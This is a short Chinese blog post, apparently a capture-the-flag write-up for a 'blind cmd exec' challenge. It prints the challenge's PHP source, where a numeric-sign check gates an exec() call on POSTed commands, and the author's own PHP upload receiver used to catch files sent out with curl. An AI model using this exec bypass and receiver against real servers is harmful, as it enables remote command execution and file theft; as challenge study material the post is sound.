EXEC

2019-06-07  本文已影响0人  Yix1a

踩了个超级深坑,浪费了2个小时。 进行post提交的时候,cmd= curl 。。。。的时候,我居然写成了cmd = curl cmd后面多了个空格~~~~~~~~~~~~~~~

<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        echo $one;
        echo '<br>';
        $nine = ord('9');
        echo $nine;
        echo '<br>';
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                    echo 'false';
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){  // 11259375
    setcookie('auth','tcp tunnel is forbidden!');
    if(isset($_POST['cmd'])){
        $command=$_POST[cmd];
        $result=exec($command);
        //echo $result;                            flag{0ef0a274-5a96-4a1e-bd24-d869acc7a89c}
    }
}else{
    die('no sign');
}
?>
</body>
</html>
<?php
 
if (isset($_FILES["file"]["name"])) {
    echo "The file has been received\n";
    $name = $_FILES["file"]["name"];
    $tmp_name = $_FILES['file']['tmp_name'];
    $error = $_FILES['file']['error'];
 
    echo "name is ".$name."\n";
 
    echo "tmp_name is ".$tmp_name."\n";
 
    if (!empty($name)) {
        $location = './';  
 
        if  (move_uploaded_file($tmp_name, $location.$name)){
            echo "Uploaded\n";
            if(php_uname('s')=='Windows NT' || PHP_OS=='WINNT'){
                $slash = '\\';
            }else{
                $slash = '/';
            }
            echo "file  location : ".dirname(__FILE__).$slash.$name."\n";
            echo "Output part of the file content, curl can output limited.\n";
            $myfile = fopen($location.$name, "r") or die("Unable to open file!");
            echo fread($myfile,filesize($location.$name));
            fclose($myfile);
        }
 
    } else {
        echo '!empty($name) false';
    }
}else{
    echo "error,file not upload.plz curl";
}
?>

上一篇 下一篇

猜你喜欢

热点阅读